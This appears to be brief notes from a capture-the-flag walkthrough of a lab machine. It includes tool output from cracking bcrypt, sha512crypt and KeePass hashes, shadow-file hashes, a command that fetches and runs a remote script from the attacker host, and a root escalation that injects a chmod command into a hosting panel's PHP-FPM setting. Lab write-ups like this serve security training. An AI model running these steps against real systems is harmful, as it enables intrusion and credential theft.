Updating host with admin subdomain goes redirects to the main domain. Start ssh session, but with port forwarding. (Update localhost to point to admin subdomain, otherwise it fails)
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe .\hashes --wordlist=.\rockyou.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin (?)
1g 0:00:05:45 DONE (2024-09-08 00:07) 0.002898g/s 57.59p/s 57.59c/s 57.59C/s berna..vangogh
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@c184118df0a6:/# wget -qO- 10.10.14.43/lp.sh | sh | tee /tmp/lp.log
...
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/perl
/usr/bin/wget
...
═╣ Hashes inside passwd file? ........... No
═╣ Writable passwd file? ................ /etc/passwd is writable
═╣ Credentials in fstab/mtab? ........... No
═╣ Can I read shadow files? .............
...
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
...
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe .\hashes --wordlist=.\rockyou.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blindside (?)
1g 0:00:00:24 DONE (2024-09-08 00:23) 0.04121g/s 1645p/s 1645c/s 1645C/s toutou..promo2007
Use the "--show" option to display all of the cracked passwords reliably
Session completed
└─$ lftp web1@sightless.htb
lftp web1@sightless.htb:~> ls
ls: Fatal error: Certificate verification: The certificate is NOT trusted. The certificate issuer is unknown. (A1:4B:95:93:0A:CF:15:CD:DD:52:68:ED:DB:5B:92:ED:F0:F3:3C:69)
lftp web1@sightless.htb:~> set ssl:verify-certificate no
lftp web1@sightless.htb:/> ls -alhR
drwxr-x--- 3 web1 web1 4.0k Aug 2 07:02 .
drwxr-x--- 3 web1 web1 4.0k Aug 2 07:02 ..
drwxr-xr-x 3 web1 web1 4.0k May 17 03:17 goaccess
-rw-r--r-- 1 web1 web1 8.2k Mar 29 10:29 index.html
goaccess:
drwxr-xr-x 3 web1 web1 4.0k May 17 03:17 .
drwxr-x--- 3 web1 web1 4.0k Aug 2 07:02 ..
drwxr-xr-x 2 web1 web1 4.0k Aug 2 07:14 backup
goaccess/backup:
drwxr-xr-x 2 web1 web1 4.0k Aug 2 07:14 .
drwxr-xr-x 3 web1 web1 4.0k May 17 03:17 ..
-rw-r--r-- 1 web1 web1 5.2k Aug 6 14:29 Database.kdb
lftp web1@sightless.htb:/> get goaccess/backup/Database.kdb
└─$ file Database.kdb
Database.kdb: Keepass password database 1.x KDB, 8 groups, 4 entries, 600000 key transformation rounds
└─$ keepass2john Database.kdb > Database.hash
Inlining Database.kdb
└─$ cat Database.hash | clip
---
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe .\hashes --wordlist=.\rockyou.txt
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs (Database.kdb)
1g 0:00:01:53 DONE (2024-09-08 02:10) 0.008845g/s 9.341p/s 9.341c/s 9.341C/s kucing..stars
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Go to PHP > PHP-FPM versions and create a new PHP-FPM version.
In the PHP-FPM restart command field, enter:
chmod 4000 /bin/bash
Save the changes.
Go to http://127.0.0.1:8080/admin_settings.php?start=phpfpm, disable PHP-FPM, and save. Then, re-enable PHP-FPM and save. This will execute the chmod command.
After this, from Michael’s account, execute:
/bin/bash -p
This will give you a bash shell with root privileges.
If it doesn’t work immediately, repeat the process until it takes effect.
# Note: From the chatter this may take up to 4-5minutes (?)